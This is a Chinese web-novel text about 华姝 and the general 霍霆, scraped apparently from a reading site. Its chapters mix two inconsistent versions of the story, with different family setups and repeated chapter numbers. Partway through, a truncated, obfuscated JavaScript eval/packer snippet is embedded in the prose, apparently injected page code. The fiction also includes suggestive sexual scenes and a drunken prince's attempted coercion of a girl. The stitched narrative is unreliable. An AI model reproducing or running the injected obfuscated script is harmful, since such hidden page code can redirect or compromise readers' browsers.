玉镯应声摔碎在地,尖锐突兀的动静,吸引前方人群纷纷寻声看过来。 每一道目光,都好似充满轻蔑异色。 华姝仓皇至极,匆忙用油纸伞挡住脸,假装蹲下身去捡碎掉的玉镯。 霍霆幽黑的冷眸,已然恢复清明。 从他的方向望过去,只能看见坐在红木轮椅上的霍千羽,和她腿边一柄水仙花样的天青色油纸伞。 大夫人趁机介绍:“四弟,那是你大侄女千羽。还有你华不为兄长留下的女儿,姝儿。” “华姝……” 像核实名字的疑问,又像肯定语气。 两个字从他唇齿间呢喃而过,声量极轻,旁人都未曾察觉。 但察觉到他一直望着垂花门处,大夫人再度出言:“千羽,姝儿,还不快过来见过你们四叔?” 华姝躲在油纸伞后,紧握伞柄的纤细五指,骨节泛白。 她不想过去。 不想面对他,这辈子都不想。 可是,霍千羽已摇着轮椅过去,大方问安:“四叔好。” 华姝被迫起身,慢吞吞跟上。 每靠近那男人一步,心尖就揪紧一分 “……四叔好。”她唇瓣张张合合,唤出难以启齿的敬称。 却似是听到一声嘲弄的轻笑。 她脸颊火辣辣的烧。 刻意将油纸伞倾斜,遮住脸。 伞面下,男人的黑色长靴隐约可见。鞋底边缘有几针跳线,是她为讨好他,笨拙缝制的。 老夫人:“好姑娘,别害羞,露出脸来。正好借这机会,让四叔认认你们。” 华姝咬紧唇瓣,焦灼地绞尽脑汁:“……许是染了风寒,头晕得很,怕牵连大伙。” “可是被我传染的?这孩子懂事,前几日一直在照看我。” 大夫人的话帮着佐证,华姝的心里稍稍踏实了些。 下一瞬,熟悉的冷凉沉声响起,语速不急不缓:“既患了病,先去好生养着。” 他道:“来日方长。” 再平常不过的关照。 却不知谁的耳畔,蓦然“嗡”得一声 随后,众人按部就班转入主屋。 华姝则踉踉跄跄折返,本意是躲回月桂居,但六神无主的她,像是无头苍蝇一般到处乱撞。 雨水打湿单薄罗裙衣角,打湿身前柔长青丝,四肢冷得颤抖,可她都浑然未觉。 脑海中,是下山道那日的画面。 醒来时已是傍晚,独自躺在灰扑扑的土炕上,四处陈设老旧,方桌上粗茶碗裂开缺口。 屋外正传来陌生男人的破口大骂:“一群庸医!再治不好老大,我就将他们全砍了!” 她听得心惊肉跳,顾不得浑身酸疼的摔伤,从门缝悄悄看去。靠山的荒废小院里,挤满十数个刀疤彪汉。 甚至她壮起胆子,表示想救人时,还曾被威胁:“你个黄毛丫头口气不小!再敢添乱,老子第一个宰了你!” 典型的山匪做派。 所以,倒底哪里出了错? 秋雨蓦地变大,豆大雨点砸在华姝薄肩处,闷声钝痛。她就近躲到路边的凉亭,蜷缩在长椅旁的角落,抱住湿漉漉的身子。 忽然忆起那夜,红着脸颊帮他纾解完,抱着衣衫不整的身子缩坐在炕沿一角。 那时半夜,天黑雨急,山道湿滑艰难 最明智的做法,是老实闭嘴。但她咬了咬唇,仍期期艾艾地求他寻救霍千羽。 果不其然,男人面露不悦。 “怎么不早说?” 在她错愕的目光中,他先是用虎皮毯子裹紧她,然后召集手下进来:“三人一组,前山、后山、山上寺院、山下城郊,逐一排查。夜深路滑,万事谨慎。” 条理清晰,安排得井然有序。 十几个刀疤彪汉,也是令行禁止。 没人质疑天气恶劣,没人不怀好意瞧她,毫不犹豫一脚迈入电闪雷鸣的雨夜。 当时的她,才与陌生男人苟且缠绵过,脑子乱糟糟的。在巨大惊恐与羞愧中,没往深处探究。 现在想来,他们的伤疤并非打家劫舍所得,而是保家卫国留下的赫赫功勋…… “小姐,这个王妃您真不做了?” “再想做王妃,也不能给自己找个双腿残疾的夫君呐。燕京城好儿郎无数,何愁不能高嫁?”二夫人的表妹,沈青禾撑着嫣红色油纸伞,从凉亭旁边疾步走过。 主仆俩边走,边讨论霍霆腿伤一事。 刚刚在千竹堂门口,华姝瞧见他是坐在轮椅上。可问题是,他的腿伤早就被她医好了。 第六日时,就能下炕走动。 双腿强劲有力,能撑起八十斤重量。 她曾坐在上面,吻了他眉骨的疤。 4. 已修 山上茅草屋的第四日,雨过天晴。 在她精心治疗下,男人腿伤以超乎常人的速度愈合。初次尝试下地行走,疼痛酸胀依旧,他一声不吭地咬紧牙关,坚持锻炼,额头噙满汗珠。 到第六日傍晚间,已行动自如。 他召集大部分人手,出去一趟。至于去向,自然不会同她讲。只命两人守在小院,保障她安全,又像变相监视。 华姝没有抗议的资格。 坐在破旧的四方桌旁,埋头为他缝制那双黑色长靴。 从天亮到天黑,心中越来越不安。 早在三日起,汤药中的鹿血减量大半,燥热臆动随之消减。他耐力惊人,若硬要忍着,也能抗过去。 ——他日渐不需要她了。 前几日还能充当拐杖。 日后,只剩他尚未痊愈的双眼。 一旦复明,等待她的又会何等光景? 杀人灭口,兔死狗烹…… 门外深不见底的幽黑,像张着血盆大口的鬼魅凶兽,能将人拆穿入腹。明明吹进门的是热风,华姝手脚却阵阵生寒。 ——逃跑的计划,得加快推进。 男人半夜回来,照常自己冲个凉水澡。双眼不便,由她代为洗头。 油灯昏暗的屋内,他头冲外,阖眼平躺在火炕边缘。 华姝将木盆架在矮凳上,坐在旁边,指尖轻柔地揉搓着乌黑浓密长发。发丝硬邦邦的,就如同那一身推都推不动的腱子肉。 见他整晚浓眉紧皱,有求于人的她,顺带为其按摩起头部穴位,轻声体贴询问:“这般力道可还合适?” 他似在沉思,反应了会:“尚可。” 一如既往的惜字如金。 华姝习以为常,继续松缓着头皮,并悄悄观察他神情。 野生皂角的清香萦绕在空气中,紧皱的两道剑眉缓缓舒展。 她瞅准时机,试探提及:“我记得这广连山的山腰有处果林,果子甘甜,果香闻着也舒心,咱明日过去散散心如何?” 倒不指望一次就能逃脱。 主要想瞧瞧,这处茅草屋四周的地形,以及与山顶寺庙相隔几何。 许是猜到她心思,男人未有答复。 但华姝不气馁,扶他起身坐到矮凳上,拿起干洁白帕子,细致和缓擦拭湿发。 然后,犹豫地搓了搓指尖,强按住怦然心跳,主动坐到男人的腿上。 他刚刚喝过汤药,大腿紧绷又滚烫。 烫得她呼吸一颤。 “做什么?” 出神半晌的男人,注意力终于转到她身上。不算和颜悦色,但也没像初次那般一把将人推开。 “我刚刚说的提议,您觉得如何?” 第二次询问,语气越发小心翼翼。 她尽量让嗓音变得甜软如水,前几晚这般央求他放手时,稍有成效。 事实是,话音出口,自己先羞红脸。 他貌似并无太大反应,面无表情道:“过几日再说。” 过几日,他眼睛就该好了。 她的话更会没一点份量。 华姝等不及。 默了默,抿唇壮起胆子,伸出一双细滑藕臂揽上他脖颈,朝那蹙紧眉心盈盈印下一吻。 蜻蜓点水,一触即离,“就明日吧,好不好?” 这次,男人睁开眼,朝她“看”了过来。失焦的黑眸,幽冷视线仍具有极强的震慑力:“再胡闹,扔你下山喂狼。” 然而,低沉嗓音已微有哑意。 华姝抓住这微妙的变化,脸颊乖顺地贴到他坚实胸膛,半真半假地哄道:“您回来后一直皱眉,我这几日也憋闷地慌,就想着一同去散散心。半个时辰就行……” 寂静深夜,少女娇软嗓音再度响起,好似潺潺流水的一汪清泉,仿佛能涤荡进人心田。 片刻后,男人终是退让了,颔首应允 不过那点小心思,大抵没能瞒住他。 大掌顺势扣住她后脑,炙吻密密麻麻落下。半是纾解半是惩戒地,风残云卷,让人无力招架。 * 一场秋雨下了三日,华姝淋雨后真患上风寒,一连卧床三日, 香闺内,残留着焚过的安神香气息,沉郁浓重,历经一夜未消。 自从撞见霍霆后,她的失眠愈发严重。 白术轻声走进来,见人已醒,麻利地打开芙蓉纹路的小窗,“今日天气真好,姑娘可要出去晒晒太阳?兴许病气就被吓跑了。” 华姝看过去,炽碎的晨曦透过鹅黄金丝窗帘,泼洒在紫罗兰织锦绒毯上。阳光浓郁却不闷热,的确适合外出走走。 可对面清枫斋上空的阳光,也甚好。 那人是否也会外出走走。 祖母一片好意,让两人住得近,多亲近,以便将来求一份好亲事。 谁又成想,她的亲事本就因他而失。 “姑娘要去陪陪老夫人吗?”白术见主子兴致恹恹,又提议:“这几日,千竹堂的人来过三四趟呢。” “……你去打听打听,这几日都有谁陪着祖母。” 白术只当她想避开沈青禾和阮糖两位表姑娘,没多问,欢快领命而去。 但显然,华姝更想弄清霍霆的动向。 不可能始终不去千竹堂请安,只能尽量小心地避开他。 卧床这几日,她思忖甚多。 直到逃离时,他的眼睛尚未恢复。 即从没见过她的容貌。 如果以后交集不多的话,有没有可能不会认出她,将这层窗户纸长久地保存完好? 毕竟,他回来后对她没大动作。 或者会被认出。 堂堂王爷日理万机,只要她不总去人家眼皮子底下转悠,兴许能睁一只眼闭一只眼? 华姝将头后靠在床架上,闭目养神。 有细风吹来,屋檐下紫玉竹风铃“叮当”作响,不安的心绪随之摇摇晃晃。 不多时,白术回来禀告:“姑娘,老夫人身边最近都是千竹堂的人陪着,二夫人和三夫人偶尔会过去坐坐。您猜猜,沈家和阮家那两位表姑娘,最近去哪了?” 华姝无心顾及旁人,不答反问:“四……王爷回府后,没常去陪伴祖母?” “听说是四爷伤势未愈,在清枫斋仔细调养着呢。” 伤势分明已无碍,他是在筹谋什么? 华姝拧眉不得解,索性不想了,只要心思没用在她身上就好。而后重新振作起精神,起床收拾妥当。 半夏正在缝制冬衣,她就和白术两人踏着橙黄细碎的阳光,一路往千竹堂走去。 在屋子闷了许久,心情顿觉敞亮。 陪老夫人待上小半个时辰,华姝还是担心会撞见霍霆,用过午膳就寻了借口离开,“大伯母此前患了伤寒,不知是否好利索,姝儿想过去瞧瞧她。” 未走到白鹭洲院门,远远望见霍华羽和表姑娘沈青禾,似乎在和看门婆子说着什么。 华姝自知关系不多付,就想晚点再来。还没转头,先被看门婆子瞧见,欢喜地朝院内扬声通禀:“表姑娘来啦!” 府上如今有三位表姑娘,但底下的人多年叫习惯了。“表姑娘”特指华姝,另外两位是沈小姐和阮小姐。 守在主屋外的丫鬟,笑嘻嘻小跑出来,“表姑娘快请进,我家姑娘才同夫人念叨您呢。” “多谢双雨姐姐。” 华姝与霍华羽、沈青禾点头见礼后,就抬脚随丫鬟双雨进去。却发现,旁边两人没动。 沈青禾看了眼霍华羽,神情微妙。 霍华羽转而就没好气地质问看门婆子,“你不是说大伯母身子不适,今日不见客吗?为何我们进不得,华姝就可以?” 看门婆子满脸堆笑:“表姑娘医术精湛,四爷没回来前,就一直照料着我家夫人。与我家姑娘更是经常同吃同住,她来白鹭院呐,就跟回自己个院子似的。” 这话看似在夸人,实则“四爷没回来前”那句才是重点,夹杂着一股戳心的冰碴子。 华姝瞥了眼沈青禾的反应,果然被臊得脸色难看。 华姝看懂也没看懂,她卧床这段时日,霍家似乎发生了什么。 此前这沈青禾冲着王妃之位而来,整日到祖母面前献殷勤。得知那位双腿“残疾”后,不准备再屈就,本也是常理。 联想到清早白术说的话,这沈青禾应是转来大伯母这献殷勤了。大伯父年近四十,沈青禾心高气傲不可能嫁,那就只剩大表兄霍玄……这不差辈了吗? 沈青禾可是二伯母的表妹,大表兄得唤声姨母呢。是发生过何事,令她能不惜脸面做到这步? “华羽,无妨的。” 沈青禾的心理素质比众人预想的都强,不过须臾,重新粉面含笑:“都是我才疏学浅,帮衬不是大夫人,今日就有劳华姝姑娘了。来日大夫人若有用得着青禾之处,可随时命人唤我过来。” 说罢,就拉着霍华羽辞别。 话语一派祥和温柔,不见丝毫恼愠。 “我呸!”看门婆子朝她背影啐了一口:“墙头草,见风就倒,什吗玩意?” 双雨亦是面露讥讽。 再看向华姝时,又换回融融笑意:“外头风大,表姑娘快些进屋暖和吧。” 华姝瞧着两人反应,愈加费解。 看门婆子倚老卖老、作威作福的话,尚能理解。双雨作为大夫人的大丫鬟,最是知礼。如今不制止看门 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以防白术察觉什么,华姝没敢再多打听。趁天气不错,转悠到药田看看。 月桂居的位置偏僻,旁边有一大块空气。早前,家丁常常需要过来除草。后来,华姝索性禀明老夫人,开辟出来中些药材,用来帮府上的人调理身子。 从山里回来后,心绪不佳,也是许久没来精心打理,已生了杂草,有的药苗都打蔫了,“白术,你去外院找些原肥过来。” 华姝则走向墙角的木屋,拿她常用的锄头农具。 走近门口,发现黄铜锁歪歪斜斜地挂在上面,木门半掩。 她笑吟吟推门走进去,“老王叔,您又来帮我打理药田……” 笑声戛然而止。 对上那双熟悉的深邃冷眸,华姝僵冻在木屋门口,握着门上铁环的手都忘记收回。 笑意缓缓褪尽,血色缓缓褪尽,小脸煞白。 这木屋搭地随意,三面无窗。唯一的门口光源,被她遮住大半。投进去的阴影,将坐在长案后的玄衣男人笼罩其中。原本就刚毅冰冷的俊脸,凸显地愈加菱角分明,冷酷无情。 华姝看在眼里,心脏止不住寒沉,手足无措。 “大胆奴婢!王爷的兵器库岂是你能擅自闯入?”立在一旁的侍卫,出声呵斥。 华姝蓦地回神:“……兵器库?” 目光环顾一圈,后知后觉这间库房已被改头换面。除却靠墙那面堆满兵书、卷宗的长案和高高书架,其他三门则摆满了各式兵器,刀枪剑戟,还有很多叫不出名字的。 尖锐的兵器刃,折射出一股股冷白的寒芒。让本就因霍霆坐镇而压迫力甚重的房间,更添威压。 她目光最后落在侍卫身上。 眼生的很,不似在山上的刀疤彪汉,他长相白净,身材欣长清瘦。 难怪没认出她。 幸好没认出她。 “你总瞧着我作甚?” 那侍卫心里有点发毛。 这胆大包天的小婢女,不仅没被他吓到,还老是盯着他看,还露出一丝诡异的……窃喜? 莫非,是瞧上了他? 这时,他家王爷忽然发话了,“长缨,去将我披风取来。” 霍霆只闻声瞧一眼门口,早已收回目光。这会面无表情地翻阅手上的兵书,头也不抬地吩咐道。 “是。”长缨令行禁止,朝门外走去。 那日以伞遮面,他们应是都没认出她 华姝紧攥铁环的葱白手指,徐徐放松,恢复一点血色。 她赶忙中规中矩地,欠身致歉:“先前不知此处已改建成兵器库,贸然闯入,还望王爷恕罪。若无其他吩咐,我就不叨扰王爷了。” 说完,紧跟在长缨身后,亦步亦趋逃出闭塞威压的木屋,长长松了一口气。 怎知这时,长案旁炉火上的铁壶,开始“咕噜咕噜”冒泡。 然后,“你,过来煮茶。” 霍霆并没有特指“你”是何人,但在山间的习惯使然,华姝的双脚已比大脑先一步行动。 等反应过来时,人已走进去。 尴尬在站在木屋中央,进也不是,退也不是。 那个长缨侍卫离开后,房间少了一人,骤然空荡许多。 空气也冷寂得可怕。 唯独炉火上的开水,翻滚得更厉害。铁壶盖,发出一阵阵突兀而刺耳的嗡鸣。 霍霆翻过一页书,食指顺势“哒、哒”敲两下桌案。 仍是没有言明,奈何华姝就是看得懂,他在催促她…… 5. 第 5 章 秋云乍起,飞叶苍黄,果熟蒂落,饭菜飘香。 与此同时,华姝欲哭无泪,凄凄惨惨戚戚,被迫赶鸭子上架。 她端起托盘,小心翼翼走到霍霆面前,软语呢喃:“霍将军,这香囊里装有助眠的药材,还望您别嫌弃。” 其实是真心想送霍霆一份谢礼,这香囊一针一线都是她亲手缝制。不论是清水县的雪中送炭,还是王府的礼遇有加,他的恩重如山,千件万件谢礼都不足以报答。他的恩情,她会铭记一辈子。 可问题是,他太冷酷了呀…… 她站着,他坐着,按理说前者气场占优势。可华姝对上他那双狭长的黑眸、那强盛的幽冷气息,整个人好似矮小进尘埃里。 偌大饭厅里,娇小软糯的姑娘,孤零零站在一座万古不化的冰山面前,显得勇敢又可怜。 见霍霆一时没接香囊,孙氏心疼不矣,偏偏爱莫能助。 霍宗飞忙张罗继续用膳,霍霖也打圆场说他要选一个。 霍凝雪则“噗哧”笑出声:“我就知道!大哥都不要我这个亲妹妹的礼物,怎么可能收你的?” 华姝也不敢再坚持,或许那日的事他还没气消吧。她抿了抿唇瓣,故作轻松一笑:“如果您都不喜欢的话,就当我没……” “有劳。” 熟悉的清冷沉声,意外响起。 饭厅骤然安静。 包括霍宗飞在内,众人皆有一瞬的诧异。霍凝雪张大的小嘴,更是能塞下整颗鸡蛋。 华姝一时没反应过来,怔怔瞧着他,亲眼瞧着他就那么破例收下她做的香囊。 霍霆没有挑挑拣拣,礼节得当地捡起最靠右的米黄色香囊,从容放进宽大的湖蓝衣袖里,神色如常。 没人能看懂他在想什么,即便离得最近的华姝。 * 云天收夏色,木叶动风声。四时俱可喜,最好中秋日。庭前暖阳光影渐斜,枝头沙沙攒动,雀儿活跃啁啾,一顿家宴吃得酣畅淋漓。 饭后,事务缠身的霍霆父子,先后离席。孙氏被丫鬟嬷嬷们请去商量赏菊宴的事宜,华姝与霍霖兄妹顺路回房。 路上,霍凝雪白嫩小腮帮子气鼓鼓的,嫉妒道:“大哥偏心!他之前都不肯收我绣的香囊,还好一通训斥我。” 华姝好奇看向身旁,霍将军当真从不收他人礼赠? 霍霖勾唇轻笑了声,好心开导妹妹:“你将那佩剑绣成了烧火棍,大哥若戴去军营,岂非有损三军势气?” “二哥你你你净睁眼说瞎话,我不理你了!” “行。那二哥下次就,瞎说一些大实话。”霍霖揶揄她。 “哼!” 霍凝雪大步甩开两人,头顶两颗小揪揪都被气歪了。 后面,华姝与霍霖相视一笑。 诚如他先前所言,这小霸王脾气刁了点,但本性不坏。 她内心深处,应该挺希望得到霍霆这位长兄认可的。深深敬仰着,所以才愿意听他话。就像之前拿亡母作挡箭牌,当面直言父王狠心,但从头到尾都没说大哥一句坏话。 林荫小路上,脚下铺的鹅卵石,映照着点点碎光。 华姝垂眸思量再三,还是忍不住问出心知犹疑:“二少爷,我今日是不是烦扰到霍将军了?” “你是说送香囊的事啊?”霍霖手摇折扇,浑不在意笑道:“大哥既然主动收下,想来就是喜欢了。” 华姝当他也在开导她,轻轻点头,整个人还是无精打采的。 霍将军当时犹疑片刻才收下,应是不喜的。他自十五岁就征战四方,走遍名川大山,什么样好看的香囊没见过呢? 霍霖见她还是垂头丧气的,略想了想:“大哥从不爱俗物,大多时无欲无求,唯独对打仗之事上心。他或许是想拿你那助眠香囊去作研究,瞧瞧能否广发给三军将士。” 这……她倒是还真没想过。 华姝展颜笑了:“希望能有用吧。” 虽说这理由仍掺有安慰人的成分,不过若真能为三军将士略紧绵薄之力,那还是令人由衷欢喜的。 同时,她也逐渐意识到: 霍霆与弟妹看似不亲厚,其实他在他们心中分量是极高的。即便霍霖故意找借口,字里行间都透露出霍霆的家国大义。 然后,华姝就释然了。 能将亲手所做香囊,送给这样的民族大英雄,不论他出于何种缘由收下吧,皆是可喜可贺。 恰逢一片金黄梧桐叶飘到她肩头,华姝捻起它,发现本属草木之物,脉络中心呈现橙红的火焰形状。她觉得挺有趣,捏在指尖准备拿回去作书签。 她忽然有一瞬的感悟:落叶本是平凡小物件,但遇见了投缘之人,即能被赋予超越本身的莫大意义。 * 清枫斋,书房 霍霆端坐在长桌后,沉静埋头于一摞摞军事密报中,屋内仅有偶尔的翻折纸张声,窗边红枫叶沙沙摇曳。 不知过去多久,门外有人轻叩。 “进。” 征得允许,侍卫长缨进门躬身禀告:“启禀将军,属下查到了。” 晌午前,从霍宗飞那里得知太子突然造访,霍霆就命他即刻去探查缘由:“暗探收到消息:说是半月前的宫宴上,太子殿下酒后欺辱了户部尚书的千金,故而被罚来给将士们送御寒之物。” 太子品行不端,满朝文武尽知。这理由,长缨觉得不像作假。 皇上素来偏爱太子,看似罚他到边境,实则暂避风头,还能给三军将士留个好印象,可谓一举三得。 霍霆听完这番禀告,不置可否。 目光继续落在手上的军事急报上,徐徐执笔批阅,浓墨字迹苍劲有力。 长缨不敢叨扰,又没得到新吩咐,垂首站在原地静候。 但脑子依旧在快速转着,忽然想到什么,他猛地抬头:“太子好色,那府上的两位小姐……” 忧切声戛然而止。 不知何时,他家将军已走到墙边的玄色矮柜前,从里拿出三根巴掌大小的红色物件,递给他。 “给他们三个送去,叮嘱赏菊宴当日,务必随身携带。”默了默,又补充道:“就说是中秋礼赠,为以防万一,无需过度恐慌。” 长缨瞧见这红色物件,再听得是“中秋礼赠”,目光露出一丝微妙的笑意。 这莫不是,主要为了回赠华姑娘的中秋礼物吧? 霍霆向华姝母亲提亲一事的始末,长缨作为贴身的心腹亲卫,曾有幸听过几耳朵。 他越想越觉得合理。 否则一个不值钱的香囊,何必回赠这么贵重的物件? 难得跟进跟出这么多年,也能看透一回将军的心思,长缨欢喜地浑身冒泡。 可让一个侍卫送过去,若华姑娘不识货,岂不是辜负将军的一番美意了? 将军已是二十有二,一心忙于军务。 那这情爱之事,他长缨作为身边人,自当得替将军格外上心。 于是:“华姑娘就在对面,将军不若……” 结果,霍霆一记冷眼射过来—— 长缨瞬间闭嘴! 麻溜接过物件,悻悻退了出去。 书房内,喧嚣散尽,重新恢复原有的沉寂模样。霍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小院丹桂飘香,沁入心脾,启人深思 她恍然察觉,虽然霍霆与兄妹交流不多,但他的关切都在点滴行动中。这人看似冷漠地不近人情,实则将每个家人都记在心里。 包括那日在后花园的假山旁,他教导霍凝雪时,言语之间,何尝不是在用心点拨她? 忽然忆起爹曾说过:“与人交谈,三分看情绪,七分看内容。” 华姝豁然开朗,眯眼笑道:“长缨侍卫,你可否帮我向霍将军带句话?” 谁能拒绝这般明媚俏丽的笑脸呢?“华姑娘请讲。” “霍将军上次的教诲,华姝明白了。日后为郡主伴读,我必会与她明辨是非,指清黑白。” 这话一出,长缨才被扼杀在摇篮里的小火苗,重新雀跃了起来。 他怎么就没想到呢? 将军所作的决定,断不会受旁人影响。想说服将军主动,那简直难遇上青天。 但他可以游说华姑娘啊! 俗话说得好,女追男,隔层纱。 将军既然肯收下华姑娘的礼物,就说明对她不反感。到时候华姑娘再主动黏糊上去,岂不就是顺水推舟,水到渠成…… 于是,长缨上前一步,笑眯眯鼓励道:“到对面不过几步路,华姑娘何不亲自去同将军说?” 华姝却是笑不出了。 她震惊又绝望地盯着他,软音娇颤:“你、是、认、真、的、吗?” 6. 第 6 章 金秋九月,赏菊宴正式到来。山清水秀的王府,在各色秋菊点缀下,愈发风景宜人。 尤其那俩巨大“菊花人”,朝门口热情挥手,让人刚走进王府,就倍感宾至如归。 这般“巧夺天工”想法,是霍凝雪由稻草人所获灵感。□□作帽,绿菊作裙,再搭配紫色粉色长靴……每处皆在郡主大人监工下认真修剪。 起因是那日,华姝帮孙氏检查宴席菜单时,无意间发现:“麻婆豆腐和水晶虾饺不可同桌而食。豆腐和虾的食性相冲,会引起中毒。轻者头痛、恶心,严重者会呕吐不止。” 周管家等人震惊之余,赞不绝口:“难怪华姑娘能得咱家将军夸赞,小小年纪真真是心明眼亮。” “什么!大哥居然夸过她?” 霍凝雪一听就坐不住了。原本最爱玩闹的小姑娘,一连多日将自己关在房中,终于想到将菊花摆出有趣形状,成为赏菊宴当日一道亮丽风景。 孙氏最是好脾性,由着小家伙折腾,并给予多番鼓励和支持。 这让最初阻拦过的霍宗飞,都自叹不如:“此次赏菊宴,华夫人筹办得很好,凝雪丫头的想法也甚妙。” 朱红铜钉大门口,霍宗飞前往迎接太子銮驾时,抽空将撒娇的小女儿抱在怀里,并郑重肯定孙氏的辛劳成果。 “王爷谬赞,多亏有郡主和周管家他们帮衬。”孙氏自谦道。 旁边,华姝与有荣焉。其实她娘出身京城世家,自小锦衣玉食,见多识广。后来为了出身寒门的父亲,无奈与家中断联。 “此次姝儿也帮衬不少,回头本王论功行赏。” 霍宗飞拍了拍她的小脑袋瓜,华姝双眼弯弯:“多谢王……” 霍霆主仆迎面走来。湖蓝长袖随风浮动,俊朗飘逸,又散发出一股独有的疏离清冷。 热闹的王府门口,一瞬安静。大家自发恭敬站成两列,霍凝雪也从父王怀里出溜下来,乖乖站到华姝身旁。 “父王。” 霍霆站定在霍宗飞面前,身形不比其父魁梧粗壮,但更高挑些,“我出去一趟,宴席前赶回来。” “何事如此急?太子殿下马上就到。”霍宗飞神情变严肃,并非生气,而是以他对儿子的了解,恐有棘手之事发生。 “晚间详谈。” 霍霆抬脚往外走。经过两个小姑娘时,余光扫了眼她们腰间挂的信号烟花。 霍凝雪不明所以,只笑着见礼:“大哥,早点回来,我会给你留好吃的。” 华姝则注意到他腰间挂的黄玉玄铁佩剑,这是她头一次瞧见霍霆佩戴兵刃,此前去数百里以外的秀清县都不曾,隐隐觉得此行危险。 想到他为她们周到准备了信号烟花,华姝搓搓手指,软软低言:“霍将军,注意安全。” 说完她就颓然垂头,声音比蚊子的都小,估计他都听不到,白浪费了一腔勇气。 怎知,“嗯。” 嗯? 华姝惊喜抬头,湖蓝欣长的背影已行至门外,利落翻身上马,一骑绝尘。高束墨发随风飞扬,飒爽雄姿,敢与日月争辉。 他刚刚在答复她?那声音是熟悉的低沉清冷,不带任何情绪。旁人想学也学不来。 可她声音那么小…… 所以他耳力极佳! 华姝愕然失色呆立在原地,慢慢睁大了双眸。 那她平时在月桂居院中说的悄悄话,悄悄指责他的话,岂不是全…… “你别得意,大哥肯定是在回应我!” 不等华姝细想,离得最近的霍凝雪就气呼呼示威道,然后扭头跑掉了。头上两根小辫子,虎虎生风。 众人哑然失笑。 孙氏与周管家向霍宗飞汇报完毕,重新回院内忙活。华姝跟着往里走,帮孙氏捏肩,“娘,这几日您辛苦了。” “娘不累,倒是忽略了姝儿,等事后再好生陪你。”孙氏拉过她手,慈爱牵着。但想到官眷们马上抵达,唯恐女儿听到流言蜚语,于是托词道:“今日人多易生乱,郡主年纪小,你去瞧瞧。” “好,我这就去。” 想起霍霆也曾特意叮嘱,华姝不疑有他。站在大姐姐的视角,去寻霍凝雪照看着。 可她终究年纪尚浅,没考虑到:孙氏也是柔弱女流,且没有信号烟花作保。 * 王府待客厅,分左右两间。左方接待男宾,太子妃被请到右间,十数位官眷作陪。 孙氏一早就命人摆上各色茶歇,桂花糕、莲蓉酥、鲜花饼……搭配着清爽解腻的六安瓜片茶,用来餐前垫腹。 起初,众人谈笑风生。吃饱喝足后,心思渐渐活络,眼睛止不住朝孙氏打转,话里话外打听她与镇南王的关系。 孙氏规规矩矩言明只是暂住,但妇人们掩面讥笑,显然认为自己猜测才更合理。 孙氏早有心理准备,但仍不堪其扰。幸好周管家有事寻她,忙借机躲出去。她前脚离开,官眷们后脚就讨论出声。 “瞧见没,连周管家都对她毕恭毕敬。说没跟了王爷,谁信呐?” “可惜了的,镇南王洁身自好多年,最后居然栽在一寡妇手里。” “寡妇更会伺候人呐!瞧瞧那前凸后翘的身段,天生就勾男人。” “听说她那女儿也是狐狸精,小小年纪就水灵灵的,不知最后会爬上霍家爷仨谁的床……” 太子妃坐在主位,状似品茶没听见,活菩萨般的好性子,纵得底下妇人越发肆无惮忌。 实则她盘算得最深。 太子妃贵为丞相嫡女,奈何多年无子。太子在外放纵,她只能睁一只眼闭一只眼。 想到太子调戏尚书千金的混账事,想到临行前爹娘叮嘱的话……太子妃附耳交代婢女:“去告知太子爷,华家孤女年轻貌美。” 自己的男人她太清楚了,见到美人就走不动步,若再沾了酒,必须当场泻火。 与其让贵女入东宫,不如找个好拿捏的。华家这女儿身份低贱,又死了爹无人护着。太子将人破了身、远远带回京城,估计霍家那爷仨也懒得再管,届时她轻易就能去母留子。 * 后花园,湖心亭 一想到大哥对华家姑娘的特殊对待,霍凝雪心里就酸溜溜的,明明她才是他的亲生妹妹! 她从大门口跑开后,就带着婢女来到湖心亭,捡了好些小石子,使劲往湖里扔。 水面锦鲤,四散奔跑。 华姝顺着这一线索,轻松寻到生闷气的小家伙,“见过郡主。” “你走开,我不想理你!” 霍凝雪气鼓鼓地想朝她扔石子,但想想大哥的教导,想想孙氏前几日的温柔鼓励,最后还是将石子狠狠丟尽湖里。 石子溅起巨大的水花,表达着巨大的怒意。 华姝忍俊不禁,考虑到小家伙生气的缘由,灵机一动:“是霍将军命我来寻郡主的。 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按照礼节,若无主人带路,男宾客们不会擅闯他人家的后花园。霍宗飞为以防万一,还分别命两名侍卫守住花园出入口,奈何太子酒后失德。 碍于他身份尊贵,守卫不敢硬拦。一个匆匆去禀告,一个追过来好言相劝。 远远望见湖心亭有姑娘在,守卫不得不以下犯上,跪拦到太子面前:“有女眷在后花园,殿下实在不便久留于此。” “你给孤滚开!” 太子一脚踹昏守卫,而后三步两步地就闯进湖心亭。瞧清那漂亮又稚嫩的小脸蛋,兴奋搓手靠近。臭婆娘倒没骗他,这犄角旮旯的东南边境,居然有如此人间绝色。 “你是何人,胆敢在镇南王府生事?” 突然有外男靠近,吓了两个小姑娘一跳。华姝见他醉醺醺的,一把将霍凝雪护到身后,向岸边后退。 太子则步步紧逼。瞧她头戴白色绢花,便知这是卑贱的华家孤女,开始威逼利诱:“孤乃当朝太子。你若跟了孤,日后荣华不尽。若敢不从,你们娘俩都甭想活命。” 太子! 华姝心惊颤唇,她下意识想呼救,但府中仆从这会都在前厅帮衬,四周空无一人……对了,霍将军给的信号烟花! “民女乃王府客人,殿下如此行事,可曾问过王爷和霍将军的意思?” 为防止信号烟花被抢走,华姝一边故作平静同他周旋,一边将手背到身后,悄悄示意霍凝雪赶紧行动。 太子见她年纪不大,漫不经心哄骗道:“他们不过是孤的奴才……” “咻——” 烟花陡然升空。虽是白日,但五彩烟雾炸裂在湖面上空,异常醒目,宛若七彩祥云。 “霍家十万强兵,岂会怕你?”听见父兄被辱,霍凝雪不答应了:“我父兄马上就到,一拳就能将你打成肉饼!” 太子身后的亲卫,脸色骤变:“太子爷,这好像是霍霆的胞妹,要不算了吧。” 那可是连阎王爷见了都犯怵的杀神啊,实在不能惹。 “怕什么?霍霆这会又不在。” 太子酒后色令智昏,瞧着霍凝雪那张比鸡蛋清都白嫩的脸蛋,竟也动起歹念:“她若跟了孤,霍霆那十万大军正好为我所用……” “霍将军,你回来了!” 突然这时,华姝惊喜望向他们身后。 7. 第 7 章 